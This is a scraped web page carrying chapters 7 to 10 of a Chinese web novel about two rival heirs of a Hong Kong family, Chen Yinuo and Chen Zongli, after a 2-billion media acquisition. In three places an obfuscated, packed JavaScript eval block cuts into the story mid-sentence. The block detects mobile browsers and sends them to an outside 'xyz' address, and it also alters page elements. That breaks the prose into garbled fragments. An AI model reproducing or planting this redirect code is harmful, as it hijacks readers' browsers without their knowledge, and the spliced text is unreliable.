到时候,繁星TV还能只是20亿么? 商人都有赌徒心理,买定离手,输赢自负。他到底,要赌TVA能搞定zf,还是以小博大,赌一把繁星? 思来想去,莫多里轻笑了一声,明明只是看报价就能结束的谈判,居然被陈一诺搅成这样的局面。这个年轻人不简单! 他摸着手上的蓝宝石戒指,鲜少地露出妥协。 “陈先生,你说服了我,我决定,20亿收购繁星TV!” 听到这句话,陈一诺大大松了口气。难以置信,他居然抢了陈宗礼的生意! 他扬起亮晶晶的双眸,站起身,主动跟莫多里握手,露出重生以来第一个发自内心的微笑。 “莫多里先生,合作愉快。” 7. 第七章 “今日头条,传媒大鳄莫多里对外宣布,已和一星集团达成协议,将以20亿收购集团旗下的繁星TV。近年来,莫多里一直致力于构建国际传媒矩阵。自此,媒体矩阵的最后一块版图,完美闭环……” 天峻大厦电梯内,不知道哪位刷短视频不带耳机,这则新闻播报大声外放,搭乘电梯的所有人都听见了。不过普通员工只关注中午吃什么,下午咖啡点哪家,对这种跨国谈判不感兴趣。连自家集团旗下的TVA参与谈判都不知道。 可对于深度知情人而言,这则新闻可太诛心了。 譬如,此时蜷缩在角落的厉冬。 他正耷拉着脑袋,没精打采地刷手机,努力地忽略电梯内的杂音。偏偏短视频APP误以为主人对这则新闻感兴趣,越刷越给他推相关新闻——还是八卦新闻。 收购的新闻让人不感兴趣,但收购背后的八卦可看性却很高。 “劲爆!!知情人士起底,跟莫多里达成合作的一星集团,幕后老板Owen Chan,中文名陈一诺,是港城四大家族陈家的二少爷!他跟太子爷陈宗礼battle黑历史,不会没人知道吧!” “以前对我爱答不理,今天让你高攀不起!昔日陈家弃犬陈一诺,如今身价百亿归来,狂打陈家的脸!” “小道消息,听说TVA也在莫多里的收购名单里,但让陈一诺截胡了!这场翻身仗打得相当漂亮!果然,发财第一剑,先砍太子爷!” 扑面而来的小道消息和评论,让厉冬越看越心虚,完全注意不到额上的冷汗顺着鬓角滑落白衬衫领口。 谈判当天,陈宗礼指定他跟莫多里谈判,老板给他机会历练,他能拒绝吗?不能!他只能强装镇定,迎难而上。 谈判过程中,莫多里那只老狐狸没怎么说话,身旁美女秘书的所有提问,他都一一作答。自问谈判过程还算顺利,TVA自身条件也够硬,对方对TVA的观感也很好。收购已是板上钉钉的事,只要不出意外! 然而,意外还是出现了。他们遇到了陈一诺! 谈判当天的细节一股脑涌入,记忆中,自以为得体的回应,如今却变了味。他忍不住怀疑,那些自我感觉良好,只是他的一厢情愿,实际上,他表现相当差…… 这时,手肘被撞了一下,掌心的手机差点没握稳飞出去,等他慌乱地攒紧手机回过神来,才发现满电梯的人差不多走空了,剩下他和不知道什么时候进来的陈宗瑜和“太子爷”陈宗礼。 他双手背到身后,慌张道:“老板!瑜姐!” 陈宗礼冷着脸,问道:“别愣着了,出来说!” 看他还没回过神,陈宗瑜笑脸相迎,主动拉着他衣袖:“走吧!” 陈宗瑜,陈家三小姐,陈太子的亲堂妹,跟厉冬一样隶属天峻总裁办,职位上算陈宗礼的助理秘书。 身份虽然是豪门千金大小姐,但比起冷心冷脸的陈太子,她就是一个小太阳,人美心善情商高,一旦遇上陈太子低气压,只有她治得了。为此,整个总裁办,都把她供在神坛上。 但这位神明吃人间烟火,所以她看出了凡人厉冬的焦虑。 三个人一直走到安全层露台的吸烟区,陈宗礼躲在角落点燃一根烟,抽得安安静静,仿佛空气。 陈宗瑜警惕地打量着四周,确定没人,才问厉冬:“说吧,在电梯里神不守舍,到底怎么了??” 可能是情绪被察觉,也可能是陈宗瑜总给人一种“贴心大姐姐”的气质。 厉冬眼眶刷就红了,毫无预兆地大喊:“20亿!” “瑜姐,20亿啊!!” 什么20亿??? 话里的信息量少得可怜,但千金小姐陈宗瑜在职场摸爬滚打多时,多少能了解民间疾苦,心想:果然,上班哪有不疯的。 她回头瞪着陈宗礼,仿佛在骂:看你把孩子逼的!又疯了一个! 陈宗礼叼着烟,一脸与我无关的冷漠。 无能狂怒的厉冬,第一波爆发完,第二波又来了:“那天,我给莫多里开价80亿!!你说我是不是有病!” 这下陈宗瑜听明白了,原来是因为莫多里20亿收购繁星TV的事。 她身穿淡黄色紧身连衣裙,突显曼妙身材,又彰显干练,看厉冬把脑袋朝露台护栏上机械式磕着,发出“砰砰——”的轻响。 她按着他的肩膀,一边阻止他自/残,一边安慰道:“你不能只纠结别家出20亿,我们出80亿,两家公司的体量本来就不同。” “再说,流程上,这个价格是内部评估后,才给你们带到谈判桌上的。又不是你拍脑袋决定的,你没必要把锅往自己身上揽……” TVA对外的报价,确实经过战投部门评估,他们也会提供谈判人员一个范围,而不是定值。 厉冬把头抵护栏,双眼紧闭:“战投给的参考是50-80亿。我以为莫多里对TVA意向高,肯定会还价,所以第一口价,我直接按最高80亿报出去。” “然后……”他像打了霜的茄子,整个人都蔫了,绝望道:“……就没有然后了。” “都是比预估高一倍的报价,怎么繁星TV20亿就卖出去了,我们的报价,莫多里一口不还,直接pass呢?” 当局者迷,旁观者清。 太子爷吐了一口烟,悠悠开口:“证明这次谈判失败的根本原因,不在价格。” 厉冬近乎绝望:“我知道了……根本原因在我……” “……” 陈宗礼无奈地叼着烟,没说话。 太子爷的字典里没有“内耗”两个字,自我否定于他而言,根本不存在。有问题就解决,解决不了继续训练,直到能解决为止,循环往复。所以,他不知道,也不会宽慰惯性内耗的厉冬。 话在他这里聊不下去,还好他妹共情能力强,纠正厉冬:“根本原因是我们遇到了陈一诺。” 厉冬不是港城人,虽然进天峻工作有一段时间,也知道“陈一诺”对自己老板是一个禁忌话题。但陈家两兄弟之间的恩怨,他其实不清楚内幕。 厉冬低声道:“可是,陈……陈二少的谈判能力再强,还能把TVA和繁星TV之间60亿的差距抹平?” 他的问题,也把陈宗瑜问住了,谈判细节只有双方人员清楚,天峻也不明白为什么莫多里最终选择了繁星TV。 可陈宗礼大概猜到了,低声说:“问题应在出在zf的问题上。” “zf?”厉冬皱眉,“我现场不是说了,已经提前跟相关部门打过招呼了?没问题啊!” 陈宗礼喃喃:“现在没有问题,不代表12月后没问题。” 厉冬再迟钝,也意识到12月是港城zf换届的时间点。 “换届也未必影响TVA的收购啊。莫多里太保守了!” 陈宗礼低声笑了:“莫多里在全球范围内的所有收购策略,就是用最短的时间,最合理的价格,买最好的!” “如果他收购TVA,半年后,因为zf的阻碍没法执行,他又要重启谈判。不但浪费时间,价格也未必合理。所以……如果一星集团在谈判时,提出zf换届问题,那着实切中我们的要害。” 厉冬听了陈宗礼的分析,这才恍然大悟,片刻后又问。 “陈生,既然你也知道二少谈判厉害,为什么临时换我呢?” 三小姐“嗨”了声,瞥了眼陈宗礼,戏谑道:“某人做了亏心事,心虚呗……” 厉冬看向自己老板那张没有人情味的扑克脸,低声疑惑道:“老板会心虚?” 陈太子22岁正式从老太太手里接棒天峻集团,稳坐天峻董事长兼执行总裁。 近年,带着天峻稳扎稳打,业绩年年上涨。四大家族里的其他三大家族,还是父辈当家。陈宗礼在多方围剿下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850431|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着五代陈家基业杀出一条血路。少一点魄力,那都不可能做到。 这样的人会心虚? 换做任何一个天峻的员工,陈宗瑜这会儿就闭口不谈了。陈家的陈年旧事不能对外人说。 可厉冬是他哥麾下的得力干将,这几年在天峻摸爬滚打,成长迅速。作为导师的陈宗礼把他当自己人,作为同事的陈宗瑜担心这次谈判给小厉留下职场PTSD*(创伤后应激障碍)。特此奖励他一个陈家的八卦。 三小姐低声道:“他虽然像个AI,体内还是残留七情六欲的。” “接下来,我说的都是机密,你一个字不能往外说啊。” 厉冬郑重地点点头,在嘴唇做了一个拉上拉链的手势,脸上写着忠贞不渝。 “几年前,有个挺火的小型跨境电商平台,叫WeMall。它们在Pre-A轮时,打算让水杉投资领投。刚好,另一家电商平台A也在找融资,恰巧也找上了水杉。” “像水杉这种知名投资机构,同时投两家同类型企业是有可操作空间的,他们通常的做法是两家公司,分开基金和管理团队,不要厚此薄彼。” “但是,A平台的法务认为水杉这样做违反竞对协议,逼着水杉二选一。他们跟水杉谈判时,拿出一份WeMall的用户协议,其中一项条款是「平台可搜集用户信息」,恰巧,当时多国□□陆续出台禁止收集用户信息的政策。在政策干涉下,WeMall踩了个大雷。水杉只能放弃合作。” “当时不巧,还遇上A国金融衰退,最终,WeMall资金链断裂倒闭了……” “再后来,我们才知道,WeMall是一诺哥哥的第一个创业项目。” 厉冬对WeMall有些记忆,当时挺有名的,忽然有一天就不见了。原来是倒闭了…… “那时候二少还在念大学?” “何止在念大学……”三小姐深吸一口气,“那时候,一诺哥哥刚出国才一年,哎……” 陈一诺被赶出陈家的一年,也是被媒体称为“陈家弃犬”的一年。 聪明如厉冬,不用点名也猜到把WeMall逼倒闭的是谁了。 但他还是小心翼翼问道:“那……把WeMall逼倒闭的电商平台A……” “是天峻?” 当年天峻的话事人兼他老板,此时穿着挺阔西装,夹着烟,目光淡淡的看向远处,对他们的对话不置可否。 厉冬对陈太子滤镜本来十分厚,此时却生出一丝不安。 “二少才刚被赶出国,转头又逼得他公司倒闭……是不是……”后面的话,没忍心说。 “是不是太赶尽杀绝了?”陈宗礼倒是自觉帮他把后面的话说完。 厉冬怯怯地,不敢接话。 脑海里禁不住代入陈一诺,孤零零地在异乡生活,举目无亲,好不容易有了一份喜欢的事业,逐渐有了起色,却被自己大哥一份文件,釜底抽薪,亲手断了他的资金链。最终,他只能眼睁睁看着心血付之一炬。 厉冬感同身受地想完,喃喃:“哎,我突然觉得自己都不配难过了……” “毕竟,收购谈不成,TVA还是TVA,天峻集团也还是天峻集团,我也还是能领薪水的打工人。” 而陈一诺……相当于从十八层地狱,又往下掉几层…… 三小姐对着陈太子没什么礼貌,她直接说:“所以,这次谈判输了,我觉得挺好。” “君子报仇十年未晚,你杀他一次,他反杀你一次。媒体不也说了吗,发家第一剑,先砍太子爷。” “太子爷,疼不疼?” 太子爷咬着滤嘴,手放在胸口,装模作样道:“疼……疼死了……” 陈宗瑜落井下石道:“疼点好,疼才记忆深刻。” 太子爷垂眸把烟掐灭,由着她挑衅,甚至自言自语来了句:“放心,刻进骨里了。” 8. 第八章 下午两点,LS酒店总统套房内。 “叮叮叮”,门铃响了三次,Kingsize大床上躺着的人,终于勉为其难地动了动。 那人全身只盖着咖色史努比毯子,毯子小,盖不完整个人,徒留一双肌肉线条流畅的修长小腿,暴露在空气中。 门铃声闹得人烦,床上那位蜷缩进毯子里,拱出一个难以描述的形状。有点像《小王子》里,那顶吃掉大象的“帽子”。 门外,从急促门铃变成了夺命拍门,还伴着王之初不耐烦的怒骂:“陈一诺,再不开门我报警了啊!” “操……”陈一诺头埋在被褥里,发出一声闷骂。 跟莫多里谈判结束后,他贪图方便住进LS酒店的总统套房,专心闭关跟莫多里对接收购的后续。又因为时差问题,连续一周睡眠质量都很差,难得有一天睡饱5小时,还是被打断了。 他烦躁地把毯子披在肩上,光脚踩着酒店的长绒地毯,硬是走不成一条直线,像没有灵魂的行尸走肉。 门打开了,王之初站在门口。 老王天生一张娃娃脸太稚嫩,总是影响他的专业性,所以打扮上,他总是特别老成,哑光海鸥领polo衫,灰色亚麻西装裤,配一个油头。别人恨不得去油去腻,他恨不得把自己泡浸油里。 本来满身起床气的陈一诺,顿时被油清醒了,裹紧毯子,忍不住吐槽。 “哎哟,老王,你这是终于成年要去相亲,还是突然喜当爹了?” 王之初撇他一眼,提着两袋外卖从他身边走过。 “对,打算给你找个妈。” 陈一诺没骨头似的倚着门边反驳:“我只是刚睡醒,不是睡傻了,大早上的别占我便宜啊。你要找也只能给我找个后妈。” 年龄上算,陈一诺还比他大半年。可陈一诺成长环境复杂,没脸没皮惯了。对爸啊,哥啊的称呼张嘴就来,一点不觉吃亏。 王之初没空理他,他看着上万一晚的六星级酒店总统套房,被陈一诺糟蹋得乱七八糟。唯一能放食物的餐桌上,货仓似的堆满了合同、报价、电脑,还有一台打印机——全是陈一诺为了办公临时购置的。 王之初边收拾边骂骂咧咧:“什么大早上?都下午两点了!” “还有,你住酒店,不就是贪图酒店服务能帮你打扫卫生么?你好歹让人家进来打扫啊。” 陈一诺看王之初忙活的背影,喃喃道:“全是高机密合同,万一进来一个间谍记者,提前泄漏,我20亿飞了怎么办?” 王之初的手顿了顿,陈一诺告诉他莫多里20亿美元收购繁星TV那刻的激动场景,历历在目。 面前这个抱着史努比毛毯的卷发男,跟那夜与莫多里斗智斗勇的谈判老手,居然是同一个人的震惊指数仍在攀升。 那晚敲定收购意向后,他们两个在酒店里通宵达旦地工作,把消息瞒得密不透风。万一真的来了记者冒充服务人员进来,把消息泄漏了,陈一诺估计真得悬梁自尽。 “那今天可以让人来打扫了吧?莫多里收购繁星的新闻已经传开了。” 陈一诺打了个哈欠:“行……你安排。” 王之初收拾时,发现电脑屏幕亮着,里面不是什么绝密文档,而是一个财经视频博主的千万播放量视频。 视频播放到一半,在给大家科普陈家两兄弟的恩怨情仇。 王之初把屏幕转向陈一诺,问道:“你们两兄弟的恩怨情仇,还需要别人给你科普吗?” 陈一诺合上笔记本,有些不好意思:“嗨,我倒时差么,半夜看些乱七八糟的,催眠……还能看看他们有没有造新谣,有的话,你发几封律师函。” 王之初收拾好桌子,开始把外卖拿出来,他今天点了早茶,边拆包装边说:“我就没见过哪个收购案出来,娱乐圈比金融圈动静还大的。” “外面都说你复仇成功,下一步就要一脚踏平陈家,打老太太和陈宗礼的脸,拿回你应得的东西。酒店楼下多少记者等着蹲你呢。” 当年全港热议的陈氏兄弟,各自修行,几年后顶峰相见,在莫多里收购案中狭路相逢的消息,宛如一颗石子投入了平静的湖,激起的并不是涟漪,而是暗藏在港城豪门圈内的汹涌波涛。 陈一诺对此毫无感觉。他裹着毯子坐下,灵动的眼睛盯着王之初手里那笼虾仁烧卖。 刚想上手拿,结果“啪”地一声脆响,被王之初猛拍一下,接着,掌心塞进来一双筷子。 “别用手,脏不脏?还有,你那破毯能不能放下,多久没洗了?” 陈一诺饿过了,“昂啊”一口一个烧卖,嘟囔着:“以貌取毯了啊,它比你干净!” 一个豪门总裁对安抚毯的依恋十几年如一日,见识过他裹着毯子开动员大会的王之初已经懒得吐槽,他摇着头坐下开始吃。 吃着吃着,又聊起莫多里谈判周边的八卦。 “听说,HT卫视的执行总裁去机场拦了莫多里,希望莫多里能再给它们一个机会谈谈,结果莫多里真听他们聊了一会儿,对方一直自砍身价,但莫多里没答应。” H国的HT卫视,是上辈子莫多里选无可选之下收入囊中的。这次,因为陈一诺横插一脚改变了结局,直接导致HT收购梦碎。 “哦”,昂啊一口,最后一个烧卖消失在陈一诺嘴里。饥饿的目光挪到旁边的凤爪上。 王之初观察着陈一诺无动于衷,好奇:“就一个哦?最终的收购价只有我们双方知道,你都不好奇,HT怎么知道谈判细节?” 自砍身价是谈判中很正常的操作,但王之初敏感地发现,当时莫多里还没正式宣布繁星,HT却一味针对价格与莫多里纠缠,明显泄露了谈判细节。 一只豆鼓凤爪,悬在空中,陈一诺非常平静:“意料之中。” 王之初上身前倾,好奇道:“……怎么说??” 陈一诺突然卖了个关子,手指勾了勾,“蛋挞!” 八卦的王之初,立马把面前那盒散发着诱人黄油香的酥皮蛋挞拱手让到他面前。 陈一诺满意地笑笑,毯子从肩膀上落下也浑然不觉,边吃蛋挞边说:“我猜,HT在莫多里身边安插了眼线,那个美女秘书,应该是她。” “刚开始谈判,她着急问报价,想快速把我解决掉。结果发现我不好搞,转头替天峻说好话。说天峻多么多么厉害……陈家跟zf关系有多好,收购不成问题……” 王之初听得直皱眉:“听着不像是HT的眼线啊,明明是天峻的眼线吧。” “王之初,你成熟点!夸你就等于向着你?别天真了,有一种夸,叫捧~杀~” 不得不承认,作为同龄人,面前这个成天安抚毯不离手的陈一诺,洞察力比他敏锐很多。 “你的意思是,秘书猛夸天峻,是因为她早就料定,天峻搞不定政府,莫多里最后也收购不成TVA?” 陈一诺朝他抛出一个wink:“对咯,他们的思路很简单,已知TVA搞不定政府构不成威胁,后有我们价格比HT高,那他们把价格压低不就完了?” “你想,HT的市场预估值才6亿,一开始给莫多里报价,居然敢开三倍报价1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王之初手机震动,打断了陈一诺的思绪,他给对方回了几条消息,紧接着,抬头问陈一诺。 “你还记得庄嘉轩吗?” 庄嘉轩跟陈宗礼是从小玩到大的朋友,高中时期比他们大两届的师兄,在A国毕业后,一直在国外打理自家集团的海外业务。 “记得,怎么了?” “他回国了,知道你也在港城,但是找不到你的联系方式,所以找到我这儿来了。” “后天,他打算在岚枫山办派对接风,都是高中时期的同学,你去不去?” 岚枫山啊……陈一诺问道:“陈宗礼去吗?” 王之初快速发了问题,对方回复也很快:去啊。 看见消息,王之初有些迟疑,收购案在前,两兄弟的火药味已经很浓,当然能不见就不见。 “别去了吧,你俩这新仇旧恨的,万一没忍住,骂起来,打一架,又得上新闻。” “我帮你回绝他……” 说完手指正要往屏幕敲字,这时,一只手掌压过来,捂住他的屏幕。 陈一诺垂眸看他:“为什么不去?” “我是骂不赢,还是打不赢?要是狗仔乱写,你就帮我出律师函告他们!” 王之初愕然:“忍你很久了,你当律师函是驱鬼符吗?包治百病?” 陈一诺错愕:“不是吗?” 9. 第九章 周日晚上7点,岚枫山赛车场内。 “噌——”地一下,路灯从星星点点,变成像一把野火,从山底点燃,一路蜿蜒曲折,蔓延至山顶那颗标志性五角星建筑:“岚枫星塔”。 在最后一缕晚霞隐没在幽暗夜幕前,依稀勾勒出“岚枫星塔”五角星的轮廓。 如果还能亮起,从山下往上看,整座山就像一颗巨大的圣诞树。 曾经,岚枫山被誉为:夏日也能点亮圣诞树的地方。 它拥有港城最浪漫的夜色,也拥有规格最高的赛车场。 赛车场老板周多宝,是一个浪漫又热血的男人。十几年前,包下岚枫山,打造了这个全港城最高规格国际赛车场。 不但有符合国际标准的赛道,能举办F1、GT锦标赛等国际顶级赛事。依托岚枫山复杂地形,盘山而上,还修建了越野赛道。 庄嘉轩高中时期无心念书,看多了黑/帮电影,只想在贵族学校当古惑仔,要不是他那阳光正能量的姐,用血脉压制,把他拉回正途,保不齐早就穿着花衬衫,戴着小金链,到处收保护费了。 没发当古惑仔之后,他成了岚枫山赛车场的老熟客。回国的接风派对好几站,第一站设在这里。 他说,这是改造他的地方。 周老板立刻:“我……我呸,我这里是赛……赛车场,不……不是劳改场。” 说的玩笑话,但老友归来,周老板自然上心,特意点亮了整座岚枫山替他接风。 周多宝40多岁,身体瘦削,难得没有中年人的油腻感,说话有些结巴,怪可爱的。 “怎……怎么样?够……够排面吧!” 庄嘉轩看着没点亮的山顶:“那么多年,这岚枫星塔还没修好啊?” 周老板看了眼陈宗礼,摸摸鼻子,欲言又止地说了个:“嗨……” 庄嘉轩穿着宽大潮牌白T,脖子挂着粗细不等的猎奇项链,配标志性寸头,整个人看着匪里匪气的,看周老板神色不对,转头看向陈宗礼:“啊,是你不让修啊?” 陈宗礼面无表情看他一眼,没说话。 这时,一群穿着西装打领带的男人,成群结队地朝他们走来。 庄嘉轩立刻朝他们的方向挥手,脖子上的猎奇项链风铃似的一阵“丁零当啷”。 他忍不住跟陈宗礼炫耀:“怎么样?小爷虽然几年没回港城,可我一支穿云箭,依然有千军万马来相见。” 确定是穿云箭吗?我倒感觉是穿心箭。周老板想。 周老板比他们大,人情世故懂得更多,朋友散尽天涯,只有他和他的赛车场像岿然不动的灯塔。为此,他真心为庄嘉轩的归来感到高兴。 他撇了眼站在庄嘉轩身后的陈宗礼——这位在港城翻手为云的陈家掌舵者,难得应邀出席。 有这位在,这场接风宴便没那么单纯。 陈宗礼难得打扮随性,余光察觉周老板的眼神,但没有看回去,被赛车场草地上追逐的小狗吸引了目光。 如果不是给庄嘉轩面子,这种场合他不会来。对面那群人穿着西装来赛车场,哪像来聚会的,分明是来应酬的。 青葱岁月,弹指间消失不见,大家一脑门往钱眼里钻。永葆江湖义气的,到头来只剩寸头的庄嘉轩。 一群人慢慢走近,带头那位先开口:“庄少,好久不见!人家接风宴都在会所、度假村,你怎么办在赛车场啊?在国外没玩够啊?” 庄嘉轩挨个跟人拥抱一下,为自己平反:“说什么呢,老子出国不只是玩的,华娱集团海外艺人总裁,工作很忙好吧!不过,我确实好几年没碰车了,回来不得过过瘾!” 一一打完招呼,大家的视线才敢移到他身后——陈太子,陈宗礼身上。 陈宗礼没说话,只是淡淡地看着他们,双方尴尬地僵持着。 庄嘉轩神经比陈家老宅那棵百年榕树还粗,看他们大眼瞪小眼,以为他们忘了陈宗礼。 “操!你们天天在港城,还不认识他,宗礼啊!” 那群人尴尬笑笑,顺着庄嘉轩的台阶上,恭维道:“嘿,整个港城,谁不认识陈总啊!” “只是,高中毕业后,只能在新闻上看见陈总了,现在看见真人,有种粉丝见面会的感觉哈哈哈。” “对啊,我们家和天峻是长期合作伙伴,但也难得看见陈总一面,还是庄少面子大。” 说完,大家纷纷从西装里掏出名片,边自我介绍,边把名片递给陈宗礼。 换做平时,陈宗礼至少带上一个助理,让对方应付,可今天私人聚会,他没了助理做挡箭牌,只能一一收下,很快收了一叠。 同学聚会和商务会面的交换不过一瞬间。庄嘉轩神经再粗,也反应过来了。 虽说,圣保罗中学时期,陈宗礼也是名人,大家背地里喊他“陈太子”,但同学之间相对平等,敢喊“陈宗礼”全名的人不少。 不过短短几年,随着天峻集团在陈宗礼手里蒸蒸日上,整个港城,有资格喊“陈宗礼”全名的人,屈指可数。 但“陈总”、“陈太子”……在庄嘉轩看来,只是一个虚名,而不是一个活生生的人。 陈宗礼看出庄嘉轩表情的异样,打圆场道:“今天给庄少接风,他是主角。大家不要拘谨,该玩玩,该吃吃。” 庄嘉轩收敛起不悦,朗声道:“没错!周老板,这些兄弟,想赛车,想吃喝的,你看着安排啊!” 周老板兢兢业业,比了个OK:“没……没问题!” …… 男人至死是少年,打过招呼真就放开了。 对易上手,安全系数高的卡丁车最感兴趣,第一时间去选车。 庄嘉轩和陈宗礼坐在观众席,看着十几辆卡丁车在赛车道上飞驰,有一句没一句聊着。 面前突然出现两瓶玻璃瓶装饮料,里面装着深褐色的汽水。 庄嘉轩不客气地喝了一口,喊道:“操!沙示!” 陈宗礼也接过满是水珠的玻璃瓶,手指传来凉意,深褐色的沙示“咕咕”冒着气泡。 “沙示”是一款港城特有的碳酸汽水。咋眼看去,跟可乐一样的深褐色,口味区跟可乐却有些差别。 周家宝“嘿嘿”笑着,他自己手里也拿着一瓶:“最近流……流行童……童年回忆。” 庄嘉轩一口喝掉半瓶,豪爽地打了个嗝:“爽!虽然,味道不如可乐,但确实是回忆。” 从穿着校服赛车,到如今穿着西装人模人样,也就匆匆七八年。却已经到寻找“童年回忆”的年纪了。 周老板:“你们第……第一口沙示,还是被一……一诺逼的吧?” “噗!”突然听见“一诺”两个字,庄嘉轩那口沙示差点从鼻子喷出来。 陈宗礼嫌弃地皱眉,瓶身的“汗珠”一抖,簌簌往下滑,斗大的水滴落到地面,深浅一片。 “怎么能叫逼呢?那叫愿赌服输!” 虽说,豪门公子没什么想要但得不到的。但对入口的东西很严格,当年的一口碳酸饮料来之不易。那时候,他们一年到头也就逢年过节能畅饮可乐。哪知道还有一种汽水叫“沙示”。 直到看见陈一诺在喝。 那会儿,庄嘉轩跟他不对付,嘲笑他:可乐还喝山寨的。 陈一诺也没怒,直接下战书,要跟庄嘉轩比一场赛车,输了就喝沙示。 最后,庄嘉轩输了,陈宗礼无妄之灾,为了兄弟义气,两人一起喝了人生第一口沙示。 有了第一口,就有了第一瓶、第二瓶……直到有一天,大家拿起酒杯,茶杯,沙示就沦落成了回忆。 周老板嫌弃地给庄嘉轩递上纸巾,看着一旁岿然不动的陈宗礼,漫不经心道:“新……新闻说你们,打……打起来了啊,为了收……收购案。” 陈宗礼喝东西跟他做人一样,特别稳:“面都没见着,打什么打?” 庄嘉轩擦擦脸,虽然刚到步,收购案的消息也都听说了。 “没有硝烟的战争,就不是战争吗?没有见面,就打不起来吗?世界上还有神/交啊,懂不懂?” 陈宗礼不太明白他的类比,一脸困惑:“好好说话!” 庄嘉轩惊讶:“我好好说话了呀……你们兄弟两好好说话了吗?” “我就不懂了,你们兄弟一个继承家业,一个开创事业,井水不犯河水不是好好的吗?怎么面都没见,也能掐起来?” “呐,别说我不够朋友,待会陈一诺也来,你俩好好聊聊。聊聊,误会不就解开了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850433|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周老板“切”了声,忍不住道:“你……你就多管闲事,他俩的事是聊……聊就行的?” 陈宗礼咬着吸管,自嘲道:“对啊,从哪里开始聊?” 庄嘉轩感叹他们之间矛盾深厚,直接道:“聊没用,那干脆打一架!打输打赢,这页就翻过去了!兄弟之间哪有隔夜仇啊。” 旁边的周家宝顿时来了兴致,煽风点火道:“我支……支持!顺便喊……喊记者过来,替我免……免费宣传一波。” 庄嘉轩惊讶地看他,感叹道:“操啊!周老板,你好脑子!” 周家宝要笑不笑:“过……过奖。” …… 不远处的赛场上,第一辆卡丁车“刷刷——”冲线。 第一名摘下头盔,满脸笑意地走到观众席,抬头朝陈宗礼道:“宗礼,你也下场跑一圈啊?” 陈宗礼摇头:“不了,你们玩吧。” 本来就是鼓足勇气的邀请,心想太子爷都到赛车场了,怎么也应该要跑一场吧,没想到,还是被拒绝。 第一名脸上有些尴尬,周老板替他解围:“不……不是针对你,他……他不开车……” 美女香车,豪门公子没有不喜欢的。 陈宗礼这种家族出生的,全球限量的豪车无数,居然不开车?谁信呢。 一起赛车的几位,聚拢了过来缓和气氛:“我也有朋友,只爱坐车不爱开的,正常。” 庄嘉轩摆摆手:“那倒不是……” “咱们陈宗礼,陈太子,不但会开,当年还是“岚枫山车神”。” 他手指向悬在赛场空中的LED屏幕。这个LED屏幕巨大,主要两个目的,一个是根据比赛中的车手时间实时排名。另一个会固定展示完成速度最快的前十名车手。 庄嘉轩指着LED大屏,说道:“呐,第二名的C,5分21秒,就是他。” 下面的人一阵喧哗,起哄:“那怎么现在不开了啊?” 陈宗礼睨着他,想让他闭嘴,庄嘉轩浑不吝地拍着他肩膀,带着对往事的怆然,喃喃道:“欲戴皇冠,必承其重啊!接下天峻那天,为了天峻十万员工的生计,陈老太太耳提面命,不许他玩极限运动。” 赛车、跳伞、滑雪……这些极限运动,对于豪门掌舵人而言,只可远观不可亵玩。这算是业内共识,哪怕只是卡丁车,也怕有个万一。 拥有滔天权力的同时,也要被义务束缚,万物制衡术多少让人着迷。 “那天起,这位陈先生只能过上按部就班,踏踏实实的安稳日子,不许有一点刺激~” 下面的人吐槽:“那宗礼赶快结婚生小孩,等小孩成年,你把天峻丢给他,你就可以想玩什么玩什么了。” 身边的一阵哄笑,庄嘉轩没脑袋,举手赞成,附在陈宗礼耳边道:“他们说的对啊!你才27,赶紧要个小孩,等他18岁了,你也才45,正是挑战极限的年纪啊!” 陈宗礼嫌弃地推开他,骂道:“一边去!” “现成就有人选啊。港城名媛,李家大小姐李思维,只要你点头她立刻就能嫁。” 陈宗礼沉着脸,别的玩笑可以开,感情事特别涉及别人,他不想聊。 他低头按亮手机,旁边的周老板立刻来了精神:“真……真打给李思维啊?做……做个人!” 陈宗礼上斜眼一挑,语调毫无起伏:“我觉得,既然我和庄少同龄,我45岁挑战极限的时候,总不能丢下他。” “要结一起结,要生一起生。” 周老板“呃哼”一声,陈宗礼最擅长面无表情,做着可怕的事。 庄嘉轩突然觉得背后发凉,一股不好的预感涌上心头。 “卧槽!陈宗礼,你想干嘛?你要找谁?” 陈宗礼学着他的语气:“你也有现成人选啊,港城名媛,陈家三小姐陈宗瑜,我只要告诉她,你回来了,她20分钟内就能出现在你面前。” 庄嘉轩听见“陈宗瑜”三个字,立马如临大敌,面如死灰。 他知道,陈宗礼不是开玩笑的,他疯起来那可疯了。 他毫不犹豫跪在陈宗礼面前,嚷道:“对不起!陈爸爸,我错了!!” “我再也不催您给我找后妈了……” 10. 第十章 周老板笑盈盈地看着庄嘉轩抓着陈宗礼表演“父慈子孝”。 远处的赛场上,赛车又跑了几圈,马达轰鸣声充斥全场。这类型的比赛,职业的非职业的,周老板每天看太多,早就看麻木了。 他撇了眼陈宗礼,蠢蠢欲动的基因告诉他,或许今晚不一样。 “呜呜——”刚刚冲线的第一名,成绩斐然,久违地刷新了LED屏幕TOP10的排名。 